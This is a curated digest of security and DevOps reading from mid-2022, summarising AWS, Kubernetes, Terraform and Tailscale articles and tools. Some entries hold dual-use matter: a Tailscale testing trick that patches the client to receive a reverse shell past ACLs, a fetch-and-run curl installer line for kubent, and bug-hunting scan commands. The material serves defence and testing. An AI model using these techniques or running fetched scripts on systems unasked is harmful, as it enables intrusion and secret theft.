    • Option 1: Decentralized CloudFormation StackSets deploying EventBridge rules and Lambdas in each account, forwarding to an audit account and Slack.
    • Option 2 (chosen): The organization trail in the management account sent to CloudWatch Logs, with Lambda posting to Slack via webhooks (built with a public Terraform module).
    • Option 3 (rejected): Control Tower centralized logs, because they arrive as .gz JSON objects that must be expanded repeatedly.
    • Events watched: Console path Authenticate, ListApplications, ListApplicationProfiles, Federate; CLI path CreateToken, ListAccounts, ListAccountRoles, GetRoleCredentials.
    • Gotcha: EventBridge only triggers on events with readOnly false, so they used a CloudWatch Logs filter such as {($.eventSource = sso.amazonaws.com) && ($.eventName = Federate||$.eventName = GetRoleCredentials)}, later moving parsing into Lambda.
    • Token caveat: SSO tokens last 1 hour by default; GetRoleCredentials only fires when a token is first used against the target account.

    Takeaway: Alert on Federate and GetRoleCredentials for break-glass roles from the organization trail. Do not rely on EventBridge for read-only SSO events.

  • Securing Cloud Services Against Squatting Attacks
    summary

    TL;DR: Eric Pauley and Patrick McDaniel (May 2022) explain “cloud squatting” for IT practitioners: reused cloud IP addresses still referenced by old configuration let a new tenant receive another organization’s traffic and data.

    • Root cause: Public IPs released back to the provider are reassigned while latent configuration (DNS records, other services, hard-coded mobile app addresses) still points at them.
    • Research findings: Over 5,400 domains were vulnerable; they received real-time location data, PII and browsing data; leaks came via AWS SNS, Route 53, CloudFront and API Gateway, with SNS the most sensitive.
    • Opportunistic attack: Attackers do not need a target; they lease IPs, collect traffic and identify victims afterwards, bypassing perimeter monitoring.
    • Prevent IP reuse: Use private IPs inside the cloud, Bring Your Own IP, and IPv6 where possible.
    • Prevent latent config: Keep one authoritative source (DNS), audit zones regularly to confirm referenced IPs are still yours, and remove records when decommissioning.
    • Control trust: Authenticate services before sending data, and restrict certificate issuance with CAA records, since DNS-validated CAs will issue certificates to a squatter.
    • Provider table: Links AWS, GCP and Azure docs for private IPs, BYOIP and IPv6.

    Takeaway: Make DNS cleanup part of every decommission, and alert on records pointing at IPs you no longer own. Avoid public IPs for internal service-to-service traffic.

  • dockerfile: Dockerfile Best Practices
    summary

    TL;DR: A Hexops repository by @slimsag with a commented, production-ready Dockerfile template and the reasoning behind each practice, drawn from personal projects and work at Sourcegraph.

    • Moved: The repo now redirects to the hexops-graveyard organization, which suggests it is no longer maintained.
    • Non-root: Run as a non-root user to reduce container-to-host escalation risk.
    • UIDs: Use a static UID and GID, and not below 10,000, so an escape does not map onto a privileged host user.
    • Tags: Pin major.minor tags rather than latest; SHA pinning is reproducible but hides security fixes unless you automate updates (docker-lock suggested).
    • Init: Use tini as the ENTRYPOINT and keep only arguments in CMD.
    • DNS: Install bind-tools for DNS resolution on some older Docker versions.

    Takeaway: The non-root, high static UID and tini practices still hold. Copy the template as a checklist, but expect no updates.

  • The Hitchhiker’s Guide to Pod Security
    summary

    (Could not fetch full text.)

    TL;DR: “The Hitchhiker’s Guide to Pod Security”, a conference talk by Lachlan Evenson (Microsoft) on Kubernetes Pod Security admission, the built-in successor to PodSecurityPolicy.

    • Topic: Pod Security admission, beta as of Kubernetes v1.23, which checks pods against the predefined Pod Security Standards before admitting them.
    • Background: PodSecurityPolicy was deprecated in v1.21 and scheduled for removal in v1.25.
    • Levels: Three standards: Privileged, Baseline and Restricted.
    • Event: Listed in a Sysdig recap of KubeCon EU 2022; another listing mentions KubeCon NA 2022, so the exact event is unconfirmed.
    • Source caveat: The YouTube page returned only the title and speaker; details come from search results about the talk and Pod Security admission.

    Takeaway: Useful viewing for migrating off PSP. Label namespaces with pod-security.kubernetes.io/enforce, starting in warn or audit mode.

  • Terraform as Part of the Software Supply Chain, Part 1: Modules and Providers
    summary

    TL;DR: Part 1 of a GitLab security series by Joern Schneeweisz (June 2022) on Terraform supply chain risk, covering how providers and modules can be tampered with and how to defend.

    • Providers: They are executable binaries, so a malicious provider can do whatever the host allows; Terraform checks signatures on install.
    • Lock file hashes: .terraform.lock.hcl holds zh: (SHA256 of the provider zip) and h1: (a “dirhash” of the unpacked directory); multiple unrelated hashes per provider are allowed, which an attacker can abuse to accept a modified provider.
    • Lesson: Commit the lock file and review every change to it.
    • Modules: Unsigned; Registry modules resolve to Git tags with no content guarantee. Pinning a commit SHA helps, but some Git hosts let a branch be named like a commit hash.
    • Malicious module impact: local-exec runs commands on the Terraform host, and ANSI escape codes can hide its output in the terminal.
    • Other vector: References xssfox’s research on abusing provider source declarations such as an unqualified http = {}.

    Takeaway: Treat terraform init on untrusted modules as running untrusted code. Commit and review the lock file, and host vetted modules in a location you control.

  • batnoter: Open Source, Markdown-Based, Self-Hosted Note Taking Webapp
    summary

    TL;DR: BatNoter is an open-source, markdown-based note-taking web app that stores notes as files in your own GitHub repository. This repo is the React (TypeScript) frontend.

    • Login: Sign in with GitHub.
    • Storage: All notes are stored in the user’s GitHub repository, at the root or in nested folders, and cached to reduce API calls.
    • Editing: Markdown with links, tables, headings, code blocks and quotes, live preview, and copy-to-clipboard for code.
    • Navigation: Explore a whole directory with one click; note URLs can be bookmarked.
    • UI: Dark and light modes; built with React, Redux Toolkit and MUI.
    • Dev setup: Node.js 18+, npm install then npm start on localhost:3000.

    Takeaway: A simple way to keep notes in Git with a web UI. Check that a backend and project activity still exist before self-hosting.

  • How to Store an SSH Key on a Yubikey
    summary

    TL;DR: A short 2022 post by Xe Iaso showing how to keep an SSH private key on a YubiKey using OpenSSH 8.2+ FIDO keys, so the key cannot be copied off disk.

    • Requirement: OpenSSH 8.2 or later (February 2020) supports FIDO security key types.
    • Check the key: Install yubikey-manager and run ykman list; set a FIDO PIN first if none exists.
    • Generate: ssh-keygen -t ed25519-sk -O resident; fall back to ecdsa-sk if the hardware key cannot store the key.
    • Use: Load the resident key with ssh-add -K, list with ssh-add -L, and upload the public key to GitHub or servers.
    • Cleanup: Delete the local stub ~/.ssh/id_ed25519_sk so only the YubiKey holds the key.
    • Other keys: Should work with other FIDO keys such as Google Titan, but the author did not test them.

    Takeaway: Hardware-backed -sk keys are an easy upgrade from on-disk SSH keys. Register a second hardware key as a backup before relying on one.

  • ugit: Undo Git Commands, Your Damage Control Git Buddy
    summary

    TL;DR: ugit (also git-undo) by Bhupesh Varshney is a Bash script with an fzf menu that walks you through undoing 20+ common Git mistakes.

    • Supported undos: git commit, add, push, branch -D, pull, reset, tag -d, tag, merge, cherry-pick, and stash apply/pop/drop/clear.
    • File recovery: Restore a file deleted after a commit, or restore a file to a previous version.
    • Not yet: git rebase and git worktree remove are listed as work in progress.
    • Requirements: Bash 4.x or later and fzf 0.21.0 or later.
    • Purpose: Saves searching “how to undo …” and keeps focus on the task.

    Takeaway: Handy as a guided safety net, especially for less frequent Git users. Learn the reflog behind it for cases the menu does not cover.

  • Malcolm: Network Traffic Analysis Tool Suite for PCAP Files and Zeek Logs
    summary

    TL;DR: Malcolm, from CISA and Idaho National Laboratory (Battelle Energy Alliance), is an Apache 2.0 suite for analysing network traffic from PCAP files, Zeek logs and Suricata alerts.

    • Inputs: Upload artifacts through a browser interface or forward them passively from sensors.
    • Analysis UIs: OpenSearch Dashboards with dozens of prebuilt dashboards, and Arkime for finding and inspecting network sessions.
    • Deployment: Runs as a cluster of containers with a few setup scripts.
    • Security: UI and remote log forwarder traffic is encrypted.
    • ICS focus: Aims to give extra visibility into industrial control system protocols.
    • Licensing: Built from widely used open-source tools, as a free alternative to paid NSM products.

    Takeaway: A ready-made Zeek plus Suricata plus Arkime stack for incident response or OT monitoring. Plan for significant RAM and disk, since it runs OpenSearch.

  • Tailscale Tricks for Security Testers
    summary

    TL;DR: Pulse Security (May 2022) describes two Tailscale behaviours found during a client review that matter in security testing: bypassing inbound ACLs from a device you control, and leaking environment variables via the peer API.

    • Inbound-only ACLs: Tailscale ACLs and device filters apply only to inbound traffic, enforced on each node.
    • Reverse shell trick: On a compromised workstation, patch net/tstun/wrap.go to skip the inbound filter, rebuild tailscaled, and receive a reverse shell (e.g. via socat) from a server that the ACL only allowed you to reach.
    • Peer API: Each tailscaled runs a small HTTP API exempt from filtering; /v0/env returns the daemon’s environment to any node logged in as the same user.
    • Container risk: In Docker or Kubernetes, the daemon inherits container env vars, so secrets passed by env (example pulse_api_key) leak to same-user nodes.
    • Tailscale response: Recommends endpoint monitoring for modified clients and ACL tags for non-personal devices; tagged devices get a different user ID and are denied peer API access.
    • Status: Pulse says these are design consequences rather than new vulnerabilities, discussed with Tailscale before publishing.

    Takeaway: Tag servers and containers instead of logging them in as a person, and do not rely on Tailscale ACLs to block outbound connections from a device an attacker controls.

  • sshnoports: SSH to a Remote Linux Device Without Any Open Ports
    summary

    TL;DR: SSH No Ports from the Atsign Foundation, now branded NoPorts (repo atsign-foundation/noports), lets you SSH or tunnel to a device with no external listening ports, relaying through Atsign’s atPlatform.

    • Rename: The repo redirects to noports, with a product site at noports.com and docs at docs.noports.com.
    • Binaries: Dart CLI tools sshnp (client), sshnpd (device daemon), npt (port tunnel) and srvd (relay).
    • Implementations: Dart (core library noports_core), a C implementation, and a deprecated Python version (C recommended instead).
    • Desktop: NoPorts Desktop, a Flutter app (npt_flutter).
    • Open source: The README points auditors to the packages/ directory for the source.
    • Source caveat: The current README is mostly a code map; usage details are on the docs site, which was not fetched.

    Takeaway: An option for reaching IoT or home devices behind NAT without opening inbound ports. Review its trust model, since connections depend on the relay and atSign identities.

  • dragonfly: Modern Replacement for Redis and Memcached
    summary

    TL;DR: Dragonfly is an in-memory data store compatible with the Redis and Memcached APIs, built with a multi-threaded, shared-nothing design to use all cores of modern cloud machines.

    • Compatibility: Drop-in for Redis and Memcached clients with no code changes, per the README; it lists support for most Redis commands (to the Redis 5.0 API level) and Memcached commands.
    • Claims: Up to 25X more throughput than Redis and up to 80% fewer resources for the same workload, according to the project.
    • Benchmarks: On an m5.large, SET throughput is similar (Redis 159K vs Dragonfly 173K QPS); on c6gn.16xlarge Dragonfly passes 3.8M QPS, 25X a single Redis process. Tests use memtier_benchmark.
    • Design: Shared-nothing architecture partitions the keyspace across threads; the Dashtable data structure improves memory efficiency.
    • Source caveat: Benchmarks are vendor-run.

    Takeaway: Worth testing when a single Redis instance is CPU-bound and you want to scale up rather than cluster. Run your own benchmark with your access patterns and check its license terms first.

31.05.2022

  • Tailscale Authentication for NGINX
    summary

    TL;DR: A Tailscale blog post introducing nginx-auth, which uses NGINX’s HTTP subrequest (auth_request) protocol to authenticate requests to internal services by Tailscale identity.

    • Why: Earlier Grafana and Minecraft proxy tricks needed a new tailnet node per service; this reuses an existing NGINX setup for everything.
    • Install: sudo apt-get install tailscale-nginx-auth from Tailscale’s repos (x86_64 Debian/Ubuntu at the time), then sudo systemctl enable --now tailscale.nginx-auth.socket using socket activation.
    • NGINX config: An internal /auth location proxies to unix:/run/tailscale.nginx-auth.sock; service locations add auth_request /auth;.
    • Identity headers: auth_request_set captures Tailscale-User, -Name, -Login, -Tailnet and -Profile-Picture and forwards them, e.g. as X-Webauth-User for Grafana.
    • Scope: Configured per server block, so services on Tailscale and on the internet can use different auth.

    Takeaway: A simple way to put SSO-like identity in front of internal web apps without an extra login. Make sure the backend only trusts these headers from NGINX.

  • kube-no-trouble: Easily Check Your Clusters for Use of Deprecated APIs
    summary

    TL;DR: Kube No Trouble (kubent) by DoiT International scans a cluster and its manifests for deprecated or removed Kubernetes API versions, so you can fix workloads before a cluster upgrade.

    • Sources: Local YAML or JSON files, the kubectl.kubernetes.io/last-applied-configuration annotation, and Helm v3 release data stored in Secrets or ConfigMaps.
    • Target version: -t, --target-version sets the Kubernetes version to check against (autodetected by default).
    • CI use: -e, --exit-error returns non-zero when issues are found; JSON output allows checks like kubent -o json | jq -e 'length == 0'.
    • Install: sh -c "$(curl -sSL https://git.io/install-kubent)", or download a release binary; the README warns to read the script first.
    • Limit: It needs the original manifest stored somewhere, since the API server returns objects in the current version.
    • Origin: Created when Kubernetes 1.16 introduced major API deprecations.

    Takeaway: Run kubent against the target version before every minor cluster upgrade, and add it to CI for Helm charts.

  • How to Control Access to AWS Resources Based on AWS Account, OU, or Organization
    summary

    TL;DR: An AWS Security blog post introducing the IAM condition keys aws:ResourceOrgID, aws:ResourceOrgPaths and aws:ResourceAccount, which restrict principals to resources inside your organization, OU or account.

    • New keys: aws:ResourceOrgID (single value, the resource’s organization ID), aws:ResourceOrgPaths (multi-value, the OU path) and aws:ResourceAccount (the owning account).
    • Main example: Deny S3 actions unless aws:ResourceOrgID matches your organization ID, so principals cannot write objects to buckets outside your organization.
    • Scope: Attach to individual IAM principals or apply broadly through SCPs; the rule holds regardless of other IAM or bucket policies.
    • Perimeter: Complements principal-side keys like aws:PrincipalOrgID and aws:PrincipalOrgPaths to build data perimeters in both directions.
    • Caution: SCPs apply to whole accounts, so the post warns to plan exceptions some AWS services need to work.

    Takeaway: A resource-org SCP is a strong guard against data exfiltration to attacker-owned buckets. Test it in one OU first, since some AWS-owned resources are outside your organization.

  • Using AWS Load Balancer Controller for Blue/Green Deployment, Canary Deployment and A/B Testing
    summary

    TL;DR: An AWS Containers post showing how to do blue/green, canary and A/B testing on EKS with only the AWS Load Balancer Controller and ALB features, set through Kubernetes Ingress annotations.

    • Weighted target groups: Since November 2019, ALB listener rules can forward to several target groups with weights; weights of 8 and 2 split traffic 80/20.
    • Advanced routing: Rules can match HTTP headers and methods, path, query string and source IP, removing the need for a routing proxy fleet.
    • Blue/green and canary: An alb.ingress.kubernetes.io/actions.blue-green annotation with forwardConfig.targetGroups sets weights across hello-kubernetes-v1 and v2 Services.
    • A/B testing: alb.ingress.kubernetes.io/conditions.ab-testing routes requests carrying a header such as HeaderName: HeaderValue1 to the new version.
    • Verification: Curl loops against the ALB hostname show the traffic split.
    • Alternative to: Flagger, service meshes or CI/CD-driven traffic shifting.

    Takeaway: For simple weighted rollouts on EKS you may not need a mesh. Pair the annotations with Argo Rollouts or Flagger if you want automated, metric-gated promotion.

  • Experience Report: 6 Months of Go
    summary

    TL;DR: The author of typesanitizer.com writes up six months of server-side Go at Sourcegraph, from a background in C++, Rust, Haskell and Swift. It is mostly critical of the language, tooling and ecosystem as a whole.

    • Positives: Very fast compile times, the built-in pprof profiler, a debugger that inspects variables reliably, GoLand, and the Playground with runnable examples.
    • Flow complaints: Compile errors for unused code interrupt work while experimenting.
    • Type system gaps: No sum types with exhaustive matching, no operator overloading for common operations, no standard set type, and no anonymous interface composition (with a later correction).
    • Naming: Short or misleading names in the standard library.
    • Tooling: go get behaviour and module tooling are confusing to him.
    • Framing: Disclaims negativity bias; a 2026 edit by the author says the 2022 wording was unnecessarily unkind but leaves the content unchanged.

    Takeaway: A detailed list of Go’s sharp edges from a type-system-focused developer. Useful for teams new to Go, and to weigh against Go’s fast builds and simple tooling.

  • Introducing SWIFT on Google Cloud
    summary

    TL;DR: A 2022 Google Cloud blog post announcing reference implementations for running SWIFT components on Google Cloud, timed with SWIFT’s Alliance Connect Virtual for connecting to the SWIFT network from public cloud.

    • Context: SWIFT carries payment messages for banks, corporates and others in over 200 countries; traditionally it needs on-prem or co-location hardware or a third-party service bureau.
    • Alliance Connect Virtual: SWIFT’s product that turns its hardware VPN connectivity into virtual appliances in public cloud, with a phased launch through 2022.
    • Connectivity: The SWIFT VPN virtual appliance runs on Compute Engine with Cloud KMS as the trusted key store for FIPS 140-2 Level 2.
    • Data and HSM: Bare Metal Solution hosts the Alliance Message Hub (AMH) Oracle database; Hosted Private HSM meets SWIFT HSM requirements.
    • Timeline: Reference implementations expected GA later in 2022, alongside SWIFT’s GA.
    • Compliance: Aims to help customers meet SWIFT security requirements and attest CSP compliance.

    Takeaway: Relevant mainly to banks planning to move SWIFT connectivity off-premises. Check current GA status and SWIFT CSP control mappings before designing on it.

  • Disabling Security Hub Controls in a Multi-Account Environment
    summary

    TL;DR: An AWS Security blog post with a script and a scheduled alternative for disabling or enabling selected Security Hub controls across many accounts and Regions at once.

    • Superseded: A February 2024 note says Security Hub central configuration now covers many of these scenarios, reducing or removing the need for the scripts.
    • Why disable: Controls for unused services, controls on global resources (e.g. IAM.1 to IAM.7 in Regions other than where AWS Config records global resources), and controls with compensating controls.
    • Check types: Periodic checks run every 12 hours; change-triggered checks do not run without in-scope resources, so they need no disabling.
    • Ad hoc script: Assumes a cross-account role with securityhub:UpdateStandardsControl to update a --control-id-list across accounts and Regions; rerun for new accounts.
    • Scheduled option: Keeps member accounts in line with the Security Hub administrator account; needs an administrator setup and per-Region deployment.
    • Deployment: Execution role deployed org-wide with CloudFormation StackSets.

    Takeaway: Use Security Hub central configuration today. The list of reasons to disable controls is still a useful guide for noise reduction.

  • ChopChop: CLI to Scan Endpoints for Exposed Sensitive Services, Files and Folders
    summary

    TL;DR: ChopChop (gochopchop) is a Go CLI from the Michelin CERT for dynamic security testing of web apps: it scans many endpoints for exposed services, files and folders under the webroot.

    • Signatures: Checks are defined in a configurable YAML file (chopchop.yml by default), meant to be extended by developers.
    • Inputs: Scan one URL or a list via -u, --url-file; --threads sets concurrency.
    • CI gate: -b, --max-severity fails the pipeline when findings reach a given severity; --severity-filter and --plugin-filters (e.g. Git,Zimbra,Jenkins) narrow checks.
    • Output: --export=csv,json with --export-filename; plugins --severity High lists checks.
    • Build and run: go build ., or docker run ghcr.io/michelin/gochopchop scan https://foobar.com.
    • History: Started as a Python tool and was rewritten in Go.

    Takeaway: A lightweight CI check for exposed .git folders, admin panels and debug files on your own endpoints. Add signatures for your stack’s sensitive paths.

  • RFC 9116: A File Format to Aid in Security Vulnerability Disclosure (security.txt)
    summary

    TL;DR: RFC 9116 (Informational, IETF, 2022) by E. Foudil and Y. Shafranovich defines security.txt, a machine-parsable file where organizations publish how researchers should report vulnerabilities.

    • Location: Served at /.well-known/security.txt over HTTPS.
    • Required fields: Contact (mailto, tel or https URI, e.g. Contact: mailto:security@example.com) and Expires.
    • Expiry: The RFC recommends Expires be less than a year in the future to avoid stale data.
    • Optional fields: Encryption, Acknowledgments, Preferred-Languages, Canonical, Policy and Hiring.
    • Signing: The file can be signed with an OpenPGP cleartext signature.
    • Motivation: Researchers often find vulnerabilities but lack a reporting channel, so issues go unreported.

    Takeaway: Publishing a security.txt takes minutes and gives researchers a clear path to you. Put the Expires renewal in a calendar or automation.

  • The Bug Hunter’s Methodology: Application Hacking v1
    summary

    TL;DR: Jason Haddix’s “The Bug Hunter’s Methodology: Application Hacking v1” slide deck (2022), which covers where to look for web bugs after recon: automation, content discovery and application analysis.

    • Getting started: Recommends practice labs (OWASP’s vulnerable apps directory with 180+ apps, Vulnhub with 400+) and a list of hacking content creators.
    • Pre-manual testing: Tech profiling (browser extensions, webanalyze), Nuclei for known CVEs and misconfigs (3,428 templates listed), plus other scanners such as Jaeles, Sn1per, Intrigue Core, Vulners and retire.js.
    • Content discovery: Technology-specific wordlists (wordlists.assetnote.io), historical URL lists (gau), endpoints from mobile apps (apkleaks), and monitoring targets for changes.
    • “Big 7” questions: How the app passes data, how it references users, multi-tenancy and roles, unique threat model, past vulnerabilities, and how it handles XSS, CSRF and injection.
    • Spidering and JS: Burp and ZAP spiders, GoSpider and hakrawler, xnLinkFinder and the GAP Burp extension for parameters and paths.
    • Heat mapping and parameters: Focus on risky features (uploads, exports, integrations, APIs) and statistically vulnerable parameter names via gf patterns, e.g. cat urls.txt | gf sqli.

    Takeaway: A practical checklist for web app testing beyond automated scanners. Use the Big 7 questions to plan manual testing time on each target.

  • poro: Scan Publicly Accessible Assets in Your AWS Cloud Environment
    summary

    TL;DR: poro is a small Python (boto3) script that finds publicly accessible assets in an AWS account and can check whether they carry a required tag.

    • Services covered: ELB, API Gateway, S3 buckets, RDS, EC2 and Redshift.
    • Tag check: --tag-key and --tag-value flag public resources that lack an expected tag (for example, an approved-public marker).
    • Usage: pip install -r requirements.txt, then python poro.py --profile PROFILE --export FILE_NAME --verbose.
    • Permissions: Needs only read-only access to the listed services.
    • Requirements: Python 3 with requests, boto3, botocore and enlighten.

    Takeaway: A quick way to list internet-facing resources across an account. Pair it with a tag convention so intentionally public assets are easy to tell apart.

  • Bidirectionally Integrate AWS Security Hub with Jira Software
    summary

    TL;DR: An AWS Prescriptive Guidance pattern by Joaquin Rinaudo for two-way sync between Security Hub (now “Security Hub CSPM”) findings and Jira tickets.

    • Automatic tickets: Choose which controls create or update Jira tickets; custom actions in the Security Hub console allow manual escalation.
    • Assignment: Tickets are assigned from a SecurityContactID tag on accounts in AWS Organizations, or a default assignee.
    • Sync back: Findings marked false positive or accepted risk in Jira are suppressed; archived findings close tickets; recurring findings reopen them.
    • Mechanics: A CloudWatch (EventBridge) event triggers a Lambda that checks the finding’s GeneratorId against its config and uses Jira credentials from Secrets Manager.
    • Workflow: A custom Jira workflow derived from Dinis Cruz’s SecDevOps Risk Workflow; the pattern suggests only security team members can change status.
    • Jira versions: Works with Jira Data Center and Jira Cloud, but Cloud cannot import XML workflows, so you re-create it by hand and use an API token.

    Takeaway: Route findings to the teams that own the accounts, and let accepted-risk decisions flow back to Security Hub. Restrict who can mark tickets as accepted risk.

  • Security Reference Architecture for a Serverless Application
    summary

    (Could not fetch full text.)

    TL;DR: Anunay Bhatt describes security controls for a serverless app on AWS, using a demo vulnerability-management application, with a companion GitHub repo anunay-bhatt/secure-serverless-reference-architecture.

    • Demo app: REST APIs via API Gateway and Lambda, with data in DynamoDB and S3.
    • First control: Mutual TLS on API Gateway, with a root CA configured to validate client certificates, suited to clients in other clouds or on-premises.
    • Portability: The author says the same concepts apply to other public clouds.
    • Context: References common serverless patterns from the AWS Well-Architected Serverless Applications Lens (RESTful microservices, mobile backends, stream processing, web apps).
    • Source caveat: Medium returned 403; summary based on search-result descriptions. Controls beyond mTLS were not verified.

    Takeaway: Read with the companion repo for working examples. mTLS on API Gateway is a good option for machine-to-machine APIs from outside AWS.

  • AWS Security Maturity Model
    summary

    TL;DR: The AWS Security Maturity Model (now v2) is a matrix of AWS security practices arranged by AWS CAF security capability and four phases: Quick Wins, Foundational, Efficient and Optimized.

    • Quick wins: Security contacts, region restriction, MFA, root account protection, detecting common threats, auditing API calls, billing alarms, block public access, WAF with managed rules, no secrets in code.
    • Foundational: Identity federation, SCP/RCP guardrails, temporary credentials, IMDSv2, CSPM, VPC segmentation, multi-account management, encryption at rest, backups, incident response playbooks.
    • Efficient: Least-privilege reviews, data perimeters, DevSecOps pipeline security, image pipelines, threat modeling, automated evidence gathering, VPC Flow Logs analysis.
    • Optimized: Temporary elevated access, custom threat detection (Security Lake or SIEM), red and blue teams, zero trust access, advanced automation.
    • Capabilities: Governance, assurance, IAM, threat detection, vulnerability management, infrastructure, data and application protection, incident response.
    • Format: Interactive web pages with an Excel export; newer items such as GenAI data protection appear in v2.

    Takeaway: Use it as a prioritized backlog: finish the Quick Wins column across all capabilities before starting the advanced items.

  • Securing AWS Lambda Function URLs
    summary

    TL;DR: Wiz blog post on the attack surface created by AWS Lambda function URLs, the dedicated HTTPS endpoints AWS launched in 2022, and how misconfigured ones can be abused.

    • Feature context: Function URLs expose a Lambda directly without API Gateway or a load balancer, so they must be secured on their own; the post compares them to GCP HTTP functions and Azure HTTP triggers.
    • Attack preconditions: An attacker must find the URL, find it unauthenticated, and work out what arguments the function accepts; verbose error messages help them guess.
    • Impact: Data read or tampering, privilege escalation if the function does admin work, RCE in vulnerable code (cryptomining until the up-to-15-minute timeout), plus denial of service and denial of wallet.
    • DoS detail: Repeated invocation can fill the regional unreserved concurrency pool and block all of the account’s other functions in that region.
    • Discovery: URLs could be enumerated through passive DNS for *.lambda-url.*.on.aws; certificate transparency does not help because Lambda uses one wildcard certificate per region.
    • Related threat: Cites Denonia, malware built to run cryptominers in Lambda.

    Takeaway: Treat every function URL as an internet-facing endpoint. Require IAM auth unless it truly must be public, and inventory which functions have URLs enabled.

  • ssc-reading-list: Software Supply-Chain Security Reading List
    summary

    TL;DR: A curated, somewhat academic reading list on software supply-chain security from Chainguard.

    • Status: The repository was archived on Mar 22, 2024 and is read-only.
    • Policy section: NIST SP 800-218 (SSDF), NIST 800-161r1, Executive Order 14028, the September 2022 OMB memo, and NSA/CISA/ODNI developer guidance from August 2022.
    • Incidents and threats: Historical cases starting with kik, left-pad and npm.
    • Related lists: Points to chughes757/SecureSoftwareSupplyChain, bureado/awesome-software-supply-chain-security and meta-fun/awesome-software-supply-chain-security for wider coverage.
    • Focus: Leans toward papers and policy over tools, as the README says.

    Takeaway: A good starting bibliography for SSDF and SBOM background. Since it is frozen, use the linked awesome lists for anything after early 2024.

  • aztfy: Bring Existing Azure Resources Under Terraform’s Management
    summary

    TL;DR: Microsoft’s tool for bringing existing Azure resources under Terraform management. It is now called Azure Export for Terraform (aztfexport).

    • Rename: The Azure/aztfy URL now redirects to Azure/aztfexport.
    • Goal: Exports supported resources into Terraform state and generates matching configuration so that terraform plan shows no diff.
    • Providers: Supports both the AzureRM and AzAPI Terraform providers.
    • Non-goal: The generated configuration is not meant to be complete and does not guarantee the infrastructure can be fully rebuilt from it.
    • Install: Release binaries, a Windows MSI, or go install github.com/Azure/aztfexport@latest.

    Takeaway: Useful for adopting click-ops Azure estates into Terraform. Review and refactor the generated code before treating it as your source of truth.

  • korb: Move Kubernetes PVCs Between Storage Classes and Namespaces
    summary

    TL;DR: Korb is a CLI by Jens Langhammer (BeryJu) that moves data between Kubernetes PVCs, for example to change a StorageClass, namespace or name.

    • Install: brew tap beryju/tap && brew install korb, or a release binary.
    • Usage: korb [pvc [pvc]] [flags] with --new-pvc-storage-class, --new-pvc-namespace, --new-pvc-name, --new-pvc-size and --new-pvc-access-mode.
    • Mechanism: Runs mover jobs using the image ghcr.io/beryju/korb-mover:v2, configurable with --container-image.
    • Defaults: Empty options reuse the source PVC’s values, such as size, access mode and name.
    • Safety: Validation warnings stop the run unless you pass --force.

    Takeaway: Handy when a PVC needs to move to a new storage backend, which Kubernetes cannot change in place. Scale the workload down and back up the data first.

  • Administer AWS Single Sign-On from a Delegated Member Account in Your Organization
    summary

    TL;DR: AWS announcement (May 12, 2022) that AWS SSO, now IAM Identity Center, can be administered from a delegated member account instead of the Organizations management account.

    • What changed: Centralized administration and API access for all member accounts from an Organizations delegated administrator account.
    • Setup: Enable AWS SSO in the management account, then designate a member account in the AWS SSO console.
    • Delegated tasks: Admins in that account assign users and groups to applications and to member accounts.
    • No per-account work: No extra setup is needed in individual member accounts.
    • Rationale: Follows the AWS best practice of keeping day-to-day work out of the management account.

    Takeaway: Move identity administration to a dedicated security or identity account so fewer people need management-account access.

  • How to Use New Amazon GuardDuty EKS Protection Findings
    summary

    TL;DR: AWS Security Blog walkthrough of GuardDuty EKS Protection, which analyzes Kubernetes audit logs to find threats in EKS clusters, and of how to read and respond to its findings.

    • Data source: GuardDuty pulls EKS audit logs itself, with no need to turn on EKS control plane logging, and needs no agents.
    • Detections: Access from known malicious IPs or Tor nodes, API calls by anonymous users, misconfigurations allowing unauthorized access, and ML-flagged privilege escalation such as a container launched with root access to the host.
    • Root-cause groups: Compromised images, configuration issues, Kubernetes user compromise, pod compromise and node compromise.
    • Finding details: Pod ID, container image ID and cluster tags, mapped to MITRE ATT&CK tactics.
    • Rollout: Delegated administrators can enable it for existing and new member accounts; it is included in the 30-day GuardDuty trial.

    Takeaway: If you run EKS and GuardDuty, turn this on. Prepare runbooks for the anonymous-access and privileged-container findings first.

  • Building a Data Perimeter on AWS
    summary

    TL;DR: AWS whitepaper on building always-on permission guardrails, a “data perimeter”, around identities, resources and networks in an AWS Organization.

    • Core rule: Allow access only when the identity is trusted, the resource is trusted and the network is expected; otherwise deny.
    • Scope: Uses AWS Organizations as the boundary of “my AWS”, plus the on-premises networks that reach into it.
    • Purpose: Prevents unintended access and configuration errors, especially to data, as part of the customer’s side of the Shared Responsibility Model.
    • Versioning: The current page shows a publication date of June 13, 2023, so it has been revised since it was first linked in 2022.
    • Structure: Overview first, then perimeter objectives and the controls that enforce them.

    Takeaway: Use it as the design reference when writing SCPs, resource policies and VPC endpoint policies that keep data inside your organization.

  • ratchet: Secure CI/CD Workflows with Version Pinning
    summary

    TL;DR: Ratchet, by Seth Vargo, pins and unpins upstream versions in CI/CD workflow files to checksummed references, like a lockfile tool for pipelines.

    • Problem: CI references like actions/checkout@v4 or ubuntu:24.04 use mutable tags, which the README calls “one layer of indirection away from curl | sudo bash”.
    • Fix: Rewrites references to commit SHAs or image digests, such as ubuntu@sha256:..., and manages the update lifecycle.
    • Supported systems: GitHub Actions, GitLab CI, CircleCI, Google Cloud Build, Harness Drone and Tekton.
    • Distribution: Go CLI, Dockerfile and a GitHub Action (action.yml).
    • Caveat: The README tracks the main branch and may describe unreleased features.

    Takeaway: Run ratchet over your workflow files so third-party actions and images are immutable, then let it handle upgrades instead of editing SHAs by hand.

  • kubectl-ice: View Kubernetes Information About Multi-Container Pods and Sidecars
    summary

    TL;DR: kubectl-ice is a kubectl plugin that shows container-level configuration and metrics inside pods, which helps when debugging multi-container pods and sidecars.

    • Views: Volumes, images, ports, commands, securityContext and POSIX capabilities per container, including init and ephemeral containers.
    • Metrics: Current CPU and memory per container (requires metrics-server).
    • Tree view: Container to pod to ReplicaSet or StatefulSet, up to the node.
    • Safety: Uses only read permissions; standard kubectl selectors work.
    • Install: kubectl krew install ice, then run kubectl ice status, kubectl ice capabilities and so on.

    Takeaway: A quick way to see which sidecar in a pod is misconfigured or using resources, without reading raw YAML.

  • Announcing Policy Guardrails for Terraform on Google Cloud CLI Preview
    summary

    TL;DR: Google Cloud announcement (May 19, 2022) of gcloud beta terraform vet, a free client-side tool that checks Terraform plans against organization policies before deployment.

    • Origin: Successor to the GitHub Terraform Validator, with migration instructions for existing users.
    • New capability: Policies can now target any resource in the google and google-beta providers, not only CAI-based constraints.
    • Policy format: Gatekeeper-style constraint templates and constraints, for example GCPIAMAllowedPolicyMemberDomainsConstraintV2 to restrict IAM members to gserviceaccount.com.
